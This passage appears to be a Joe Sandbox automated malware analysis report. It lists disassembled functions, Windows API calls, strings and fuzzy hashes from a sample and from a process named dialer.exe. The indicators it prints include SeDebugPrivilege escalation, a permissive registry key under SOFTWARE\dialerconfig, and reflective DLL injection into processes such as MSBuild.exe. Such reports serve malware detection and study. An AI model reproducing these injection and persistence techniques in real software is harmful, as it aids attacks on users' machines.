wcscpy.MSVCRT ref: 00007FF749F443B8
wcscat.MSVCRT ref: 00007FF749F443C7
memset.MSVCRT ref: 00007FF749F443DB
wcscpy.MSVCRT ref: 00007FF749F4444E
wcscat.MSVCRT ref: 00007FF749F4445D
memset.MSVCRT ref: 00007FF749F44471
wcscpy.MSVCRT ref: 00007FF749F444C4
wcscat.MSVCRT ref: 00007FF749F444D3

Part of subcall function 00007FF749F42DF0: memset.MSVCRT ref: 00007FF749F42E1D

memset.MSVCRT ref: 00007FF749F447B7
wcscpy.MSVCRT ref: 00007FF749F4481D
wcscat.MSVCRT ref: 00007FF749F4482C
memset.MSVCRT ref: 00007FF749F44843
wcscpy.MSVCRT ref: 00007FF749F448A2
wcscat.MSVCRT ref: 00007FF749F448B1
wcslen.MSVCRT ref: 00007FF749F448C4
wcslen.MSVCRT ref: 00007FF749F44AB4
wcslen.MSVCRT ref: 00007FF749F44C19
memset.MSVCRT ref: 00007FF749F44C80
wcscpy.MSVCRT ref: 00007FF749F44D13
wcscat.MSVCRT ref: 00007FF749F44D22

Part of subcall function 00007FF749F438F0: memset.MSVCRT ref: 00007FF749F43AA7

wcslen.MSVCRT ref: 00007FF749F452C2
memset.MSVCRT ref: 00007FF749F4534E
wcslen.MSVCRT ref: 00007FF749F453C5
_wcsnicmp.MSVCRT ref: 00007FF749F45438
_wcsicmp.MSVCRT ref: 00007FF749F45642
memset.MSVCRT ref: 00007FF749F45661
wcscpy.MSVCRT ref: 00007FF749F456C2
wcscat.MSVCRT ref: 00007FF749F456D1
wcslen.MSVCRT ref: 00007FF749F456E4
wcslen.MSVCRT ref: 00007FF749F45ABF
wcslen.MSVCRT ref: 00007FF749F45C36
_wcsnicmp.MSVCRT ref: 00007FF749F45C69
wcslen.MSVCRT ref: 00007FF749F45C79
wcslen.MSVCRT ref: 00007FF749F45CF8
memset.MSVCRT ref: 00007FF749F45E0B
wcscpy.MSVCRT ref: 00007FF749F45E16
wcscat.MSVCRT ref: 00007FF749F45E25
memset.MSVCRT ref: 00007FF749F45EA5
wcslen.MSVCRT ref: 00007FF749F45F0E
_wcsnicmp.MSVCRT ref: 00007FF749F45F39
wcslen.MSVCRT ref: 00007FF749F45F45
wcscat.MSVCRT ref: 00007FF749F45F6B
memset.MSVCRT ref: 00007FF749F45F7F
wcscpy.MSVCRT ref: 00007FF749F45FF5
wcscat.MSVCRT ref: 00007FF749F46004
wcslen.MSVCRT ref: 00007FF749F46224
memcpy.MSVCRT ref: 00007FF749F46653
memcpy.MSVCRT ref: 00007FF749F46950
memcpy.MSVCRT ref: 00007FF749F46D38

Strings

OiPpem9wdXluZnhyk5pkdsx1dnhmZHJuNmRhdWNmbm93eXl6bHB1eWpmeHJsZWR2dHV2eGZkcm52ZGF1s2ZubwQLw3RsxHy0S955PqFEMB4dBlYIFAsVHBcJQRYCCAAAA1kbH0wCABdKDxZSKCo3VhkaEh1IaX9kUmRhdWNmbm882dHnY7Gzt2WnvrxjpKK4MMy2t2iltKAy3aa6Y6eooXi4vrQDsbO3Uye2vWSkorhNNE+2aKW0oE8lpbptp6ihJRAa, xrefs: 00007FF749F45124
, xrefs: 00007FF749F45753
X&, xrefs: 00007FF749F462CE

Memory Dump Source

Source File: 00000000.00000002.2116483511.00007FF749F41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749F40000, based on PE: true

Associated: 00000000.00000002.2116427410.00007FF749F40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116779468.00007FF749F49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800563.00007FF749F4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116820136.00007FF749F4C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117010921.00007FF74A1C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117047095.00007FF74A1FE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749f40000_file.jbxd

Similarity

API ID: wcslen$memset$wcscat$wcscpy$_wcsnicmp$memcpy$_wcsicmp
String ID: $OiPpem9wdXluZnhyk5pkdsx1dnhmZHJuNmRhdWNmbm93eXl6bHB1eWpmeHJsZWR2dHV2eGZkcm52ZGF1s2ZubwQLw3RsxHy0S955PqFEMB4dBlYIFAsVHBcJQRYCCAAAA1kbH0wCABdKDxZSKCo3VhkaEh1IaX9kUmRhdWNmbm882dHnY7Gzt2WnvrxjpKK4MMy2t2iltKAy3aa6Y6eooXi4vrQDsbO3Uye2vWSkorhNNE+2aKW0oE8lpbptp6ihJRAa$X&
API String ID: 3604702941-1492181059
Opcode ID: 7f0efb7b49730ebeb84e69c2c52a15baaeeebae0b5016ad7693f10e129db55ae
Instruction ID: 019ef6760616db660c28e65dce5b3daf24a20159c9b6287bfa24360c12a29307
Opcode Fuzzy Hash: 7f0efb7b49730ebeb84e69c2c52a15baaeeebae0b5016ad7693f10e129db55ae
Instruction Fuzzy Hash: 6F537A61D2CAC3C4F711BF28B8016F4E770AFA5388FD45271EA8C565A2EF6C6284D764

Function 00007FF749F43350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF749F433B2
memset.MSVCRT ref: 00007FF749F43445
wcscpy.MSVCRT ref: 00007FF749F4349D
wcscat.MSVCRT ref: 00007FF749F434A8
wcslen.MSVCRT ref: 00007FF749F434B9
memset.MSVCRT ref: 00007FF749F435D4
wcscpy.MSVCRT ref: 00007FF749F43635
wcscat.MSVCRT ref: 00007FF749F43640
wcslen.MSVCRT ref: 00007FF749F43654

Strings

0, xrefs: 00007FF749F434E6
@, xrefs: 00007FF749F43698
@, xrefs: 00007FF749F434F1
0, xrefs: 00007FF749F4368D
, xrefs: 00007FF749F436DD

Memory Dump Source

Source File: 00000000.00000002.2116483511.00007FF749F41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749F40000, based on PE: true

Associated: 00000000.00000002.2116427410.00007FF749F40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116779468.00007FF749F49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800563.00007FF749F4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116820136.00007FF749F4C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117010921.00007FF74A1C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117047095.00007FF74A1FE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749f40000_file.jbxd

Similarity

API ID: memset$wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 4263182637-1413854666
Opcode ID: 5276bf0d763aecce4044b8a0aa334820b154247cc0e08a4853e2e0c6a2717ab4
Instruction ID: a1e379d548c1b5b274e88bcde890c4be73a3be02ca59d4cceb38fa077b52a87d
Opcode Fuzzy Hash: 5276bf0d763aecce4044b8a0aa334820b154247cc0e08a4853e2e0c6a2717ab4
Instruction Fuzzy Hash: 64B18C2294C6C2C5F721BF14F8457AABBB0FFA1348F900135EA8856AA5DF7DE149CB50

Function 00007FF749F42690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF749F42795
memset.MSVCRT ref: 00007FF749F42865
wcscpy.MSVCRT ref: 00007FF749F428CE
wcscat.MSVCRT ref: 00007FF749F428D9
wcslen.MSVCRT ref: 00007FF749F428E1
wcslen.MSVCRT ref: 00007FF749F428F6
wcslen.MSVCRT ref: 00007FF749F4296D
wcslen.MSVCRT ref: 00007FF749F429E8

Strings

X, xrefs: 00007FF749F42B79
0, xrefs: 00007FF749F4279A
`, xrefs: 00007FF749F42B91

Memory Dump Source

Source File: 00000000.00000002.2116483511.00007FF749F41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749F40000, based on PE: true

Associated: 00000000.00000002.2116427410.00007FF749F40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116779468.00007FF749F49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800563.00007FF749F4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116820136.00007FF749F4C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117010921.00007FF74A1C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117047095.00007FF74A1FE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749f40000_file.jbxd

Similarity

API ID: wcslen$memsetwcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 329590056-2527496196
Opcode ID: 71ee53b50f05b73d54b70a4291a2078ad9ed205f255109c0ff1271a7e8a73095
Instruction ID: 9f4c0da3f2d1ebb849236831819a49982a916ff86ac7e1f8a4534dc764df3edf
Opcode Fuzzy Hash: 71ee53b50f05b73d54b70a4291a2078ad9ed205f255109c0ff1271a7e8a73095
Instruction Fuzzy Hash: B1025922A1CBC2C1F720AF15E8047AAABA0FB95794F904235EAAC437E5DF7CD145DB50

Function 00007FF749F41BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF749F4A53C,00007FF749F4A53C,?,?,00007FF749F40000,?,00007FF749F41991), ref: 00007FF749F41C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF749F4A53C,00007FF749F4A53C,?,?,00007FF749F40000,?,00007FF749F41991), ref: 00007FF749F41CC7
memcpy.MSVCRT ref: 00007FF749F41CE0
GetLastError.KERNEL32(?,?,?,?,00007FF749F4A53C,00007FF749F4A53C,?,?,00007FF749F40000,?,00007FF749F41991), ref: 00007FF749F41D23

Strings

VirtualProtect failed with code 0x%x, xrefs: 00007FF749F41D29
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF749F41D17
Address %p has no image-section, xrefs: 00007FF749F41CF4

Memory Dump Source

Source File: 00000000.00000002.2116483511.00007FF749F41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749F40000, based on PE: true

Associated: 00000000.00000002.2116427410.00007FF749F40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116779468.00007FF749F49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800563.00007FF749F4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116820136.00007FF749F4C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117010921.00007FF74A1C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117047095.00007FF74A1FE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749f40000_file.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: fd7043c141b48c2f8dc45758b9b17726dd54453a719bfaaaae8ec8bd39dc55e5
Instruction ID: 9e4cf94f7c8ca5c42cc14b73de2d869f4b66e38287b7bb4a989ae719059feddc
Opcode Fuzzy Hash: fd7043c141b48c2f8dc45758b9b17726dd54453a719bfaaaae8ec8bd39dc55e5
Instruction Fuzzy Hash: 97414D61B8C656C5EB10BF45E884EB9A770EB64BC4F954131DA0E437E1DE3CE585C720

Function 00007FF749F42104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF749F42118
TlsGetValue.KERNEL32 ref: 00007FF749F4214F
GetLastError.KERNEL32 ref: 00007FF749F42154
LeaveCriticalSection.KERNEL32 ref: 00007FF749F42212
free.MSVCRT ref: 00007FF749F42234
DeleteCriticalSection.KERNEL32 ref: 00007FF749F4225D

Memory Dump Source

Source File: 00000000.00000002.2116483511.00007FF749F41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749F40000, based on PE: true

Associated: 00000000.00000002.2116427410.00007FF749F40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116779468.00007FF749F49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800563.00007FF749F4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116820136.00007FF749F4C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117010921.00007FF74A1C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117047095.00007FF74A1FE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749f40000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: 65354ea9b0585dd84d45ede92d01b7db4d3564fce7b8bb1dc7d04c74f54e03d1
Instruction ID: 8085ef7941c7c9807d003461f6e58259d56b9833cca41f81f8e94de6608e8567
Opcode Fuzzy Hash: 65354ea9b0585dd84d45ede92d01b7db4d3564fce7b8bb1dc7d04c74f54e03d1
Instruction Fuzzy Hash: 24210621A8DA83C1FB19BF55E940BB4A270BF61B80FE50070DA1D576E4CF2CE9969720

Function 00007FF749F41E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF749F41E27

Memory Dump Source

Source File: 00000000.00000002.2116483511.00007FF749F41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749F40000, based on PE: true

Associated: 00000000.00000002.2116427410.00007FF749F40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116779468.00007FF749F49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800563.00007FF749F4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116820136.00007FF749F4C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117010921.00007FF74A1C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117047095.00007FF74A1FE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749f40000_file.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: abd898725b95146b97cfffe4ef96ca9f904c57ff2a7b6e405ab081e945b0e9a1
Instruction ID: 04cbe491f59a6cd96c936cb8caa1d954cc61bb5bcab34498fd83a60e319f48fa
Opcode Fuzzy Hash: abd898725b95146b97cfffe4ef96ca9f904c57ff2a7b6e405ab081e945b0e9a1
Instruction Fuzzy Hash: 32219C25F9C126C1FB647E149690F7991A19FB47B4FA48131DE1D433D4DE6CB8838361

Function 00007FF749F41880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF749F41247), ref: 00007FF749F419F9

Strings

Unknown pseudo relocation protocol version %d., xrefs: 00007FF749F41B8B
Unknown pseudo relocation bit size %d., xrefs: 00007FF749F41B7B

Memory Dump Source

Source File: 00000000.00000002.2116483511.00007FF749F41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749F40000, based on PE: true

Associated: 00000000.00000002.2116427410.00007FF749F40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116779468.00007FF749F49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800563.00007FF749F4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116820136.00007FF749F4C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117010921.00007FF74A1C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117047095.00007FF74A1FE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749f40000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 13559aeb64fb2ffe53ced46686645c359b0be6a3e885cbb8d1261cf63dbf58fc
Instruction ID: cebcbbc4f4ac4123a814bd03086c2636f6c188427586945bb18c20d1633b573a
Opcode Fuzzy Hash: 13559aeb64fb2ffe53ced46686645c359b0be6a3e885cbb8d1261cf63dbf58fc
Instruction Fuzzy Hash: 4F515B21B4C596D6EB10FF25E840FB8A771AB25BA4F948131DA1D07BD5CE3CE586CB20

Function 00007FF749F41800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF749F4185A

Strings

Unknown error, xrefs: 00007FF749F41824
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF749F4184D

Memory Dump Source

Source File: 00000000.00000002.2116483511.00007FF749F41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749F40000, based on PE: true

Associated: 00000000.00000002.2116427410.00007FF749F40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116779468.00007FF749F49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800563.00007FF749F4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116820136.00007FF749F4C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117010921.00007FF74A1C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117047095.00007FF74A1FE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749f40000_file.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: f07ade259d76a49c7355787ff54cd97fbf92663c2f6a4f79a8a4cc4fe43bc8c2
Instruction ID: b4704bed93e36289cb7be89a10641205a5d83bb19a04034766ba59019a6a6fba
Opcode Fuzzy Hash: f07ade259d76a49c7355787ff54cd97fbf92663c2f6a4f79a8a4cc4fe43bc8c2
Instruction Fuzzy Hash: 2AF0C211F5CA85C2E710FF24A9418B9E371EBA97C1F809231DE4D53691DF2CE1828310

Function 00007FF749F4219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF749F421B2
TlsGetValue.KERNEL32 ref: 00007FF749F421EB
GetLastError.KERNEL32 ref: 00007FF749F421F0
LeaveCriticalSection.KERNEL32 ref: 00007FF749F4226C

Memory Dump Source

Source File: 00000000.00000002.2116483511.00007FF749F41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749F40000, based on PE: true

Associated: 00000000.00000002.2116427410.00007FF749F40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116779468.00007FF749F49000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116800563.00007FF749F4B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116820136.00007FF749F4C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117010921.00007FF74A1C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2117047095.00007FF74A1FE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749f40000_file.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 85413003506242275302fc94dee06b8c4194a3e3bc5b6f75ffbb971594794f7c
Instruction ID: 0a076ea735b52c9e815197dd34623f4e7a41b0f7dc0af2e4e3983d20c03849fa
Opcode Fuzzy Hash: 85413003506242275302fc94dee06b8c4194a3e3bc5b6f75ffbb971594794f7c
Instruction Fuzzy Hash: 83011625A8DA83C1FB05BF55AD00AB4A270BF64BD0FD50031CA1D03BE4DF2CE9969320

Analysis Process: dialer.exePID: 6768, Parent PID: 4524COMMON

Execution Graph

Execution Coverage:	46.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40.1%
Total number of Nodes:	227
Total number of Limit Nodes:	24

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000000014000226C Relevance: 61.4, APIs: 27, Strings: 8, Instructions: 165
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001F2C: StrCpyW.SHLWAPI ref: 0000000140001F5D
Part of subcall function 0000000140001F2C: StrCatW.SHLWAPI ref: 0000000140001F6B
Part of subcall function 0000000140001F2C: GetModuleHandleW.KERNEL32 ref: 0000000140001F74
Part of subcall function 0000000140001F2C: GetCurrentProcess.KERNEL32 ref: 0000000140001F94
Part of subcall function 0000000140001F2C: K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
Part of subcall function 0000000140001F2C: CreateFileW.KERNELBASE ref: 0000000140001FD8
Part of subcall function 0000000140001F2C: CreateFileMappingW.KERNELBASE ref: 0000000140002002
Part of subcall function 0000000140001F2C: MapViewOfFile.KERNELBASE ref: 0000000140002025
Part of subcall function 0000000140001F2C: lstrcmpiA.KERNEL32 ref: 000000014000207B
Part of subcall function 0000000140001F2C: CloseHandle.KERNELBASE ref: 00000001400020E7
Part of subcall function 0000000140001F2C: CloseHandle.KERNEL32 ref: 00000001400020F0
Part of subcall function 0000000140001F2C: FreeLibrary.KERNEL32 ref: 00000001400020F9

Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020AE
Part of subcall function 0000000140001F2C: VirtualProtect.KERNELBASE ref: 00000001400020DE

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
GetLastError.KERNEL32 ref: 0000000140002312
CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
LocalFree.KERNEL32 ref: 0000000140002408
RegCreateKeyExW.KERNELBASE ref: 000000014000243E
GetCurrentProcessId.KERNEL32 ref: 0000000140002448
RegSetValueExW.KERNELBASE ref: 000000014000246F
RegCloseKey.KERNELBASE ref: 0000000140002479
RegCloseKey.ADVAPI32 ref: 0000000140002483
CreateThread.KERNELBASE ref: 00000001400024A4
GetProcessHeap.KERNEL32 ref: 00000001400024AA
HeapAlloc.KERNEL32 ref: 00000001400024B9
CreateThread.KERNELBASE ref: 00000001400024E8
CreateThread.KERNELBASE ref: 0000000140002509
SleepEx.KERNELBASE ref: 0000000140002511

Strings

kernel32.dll, xrefs: 0000000140002283
SOFTWARE\dialerconfig, xrefs: 0000000140002399
DLL, xrefs: 0000000140002321
pid, xrefs: 000000014000241B
svc64, xrefs: 0000000140002452
SeDebugPrivilege, xrefs: 00000001400022C9
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 00000001400023DE
ntdll.dll, xrefs: 0000000140002277

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: CreateProcess$Close$CurrentHandleResource$FileSecurityThread$DescriptorFreeHeapModuleOpenProtectTokenValueVirtual$AdjustAllocConvertErrorFindInformationLastLibraryLoadLocalLockLookupMappingPrivilegePrivilegesSizeofSleepStringViewlstrcmpi
String ID: D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$DLL$SOFTWARE\dialerconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$pid$svc64
API String ID: 4177739653-1130149537
Opcode ID: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction ID: c2e61514e361dd61edc66d1a85693de1d2c237bf329a5b31df93bef4cff25afe
Opcode Fuzzy Hash: d90b24f95a95c841a2e029a5b4d6274d008a65fb61feaf57b7d2a555975f1ca1
Instruction Fuzzy Hash: B781E4B6200B4196EB26CF62F8547D977A9F78CBD8F44512AEB4A43A78DF38C148C740

Function 00000001400010C0 Relevance: 51.0, APIs: 25, Strings: 4, Instructions: 257
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

OpenProcess.KERNEL32 ref: 000000014000112C
OpenProcess.KERNEL32 ref: 000000014000114B
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
PathFindFileNameW.SHLWAPI ref: 000000014000117E
lstrlenW.KERNEL32 ref: 000000014000118A
StrCpyW.SHLWAPI ref: 00000001400011A1
CloseHandle.KERNEL32 ref: 00000001400011AD
StrCmpIW.SHLWAPI ref: 00000001400011E2
NtQueryInformationProcess.NTDLL ref: 0000000140001216
OpenProcessToken.ADVAPI32 ref: 0000000140001240
GetTokenInformation.KERNELBASE ref: 000000014000126C
GetLastError.KERNEL32 ref: 0000000140001276
LocalAlloc.KERNEL32 ref: 0000000140001289
GetTokenInformation.KERNELBASE ref: 00000001400012B5
GetSidSubAuthorityCount.ADVAPI32 ref: 00000001400012C2
GetSidSubAuthority.ADVAPI32 ref: 00000001400012D1
LocalFree.KERNEL32 ref: 00000001400012E9
CloseHandle.KERNEL32 ref: 00000001400012FD
StrStrA.SHLWAPI ref: 00000001400013A7
VirtualAllocEx.KERNELBASE ref: 000000014000140E
WriteProcessMemory.KERNELBASE ref: 0000000140001431
WaitForSingleObject.KERNEL32 ref: 000000014000147D
GetExitCodeThread.KERNEL32 ref: 0000000140001493
CloseHandle.KERNELBASE ref: 00000001400014AB
CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

@, xrefs: 0000000140001401
dialer.exe, xrefs: 00000001400011CC
ReflectiveDllMain, xrefs: 000000014000139D
MSBuild.exe, xrefs: 00000001400011B8

Memory Dump Source

Source File: 0000000E.00000002.2156327099.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 0000000E.00000002.2156255918.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156371659.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000E.00000002.2156447226.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileLocalName$CodeCountErrorExitFindFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2561231171-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
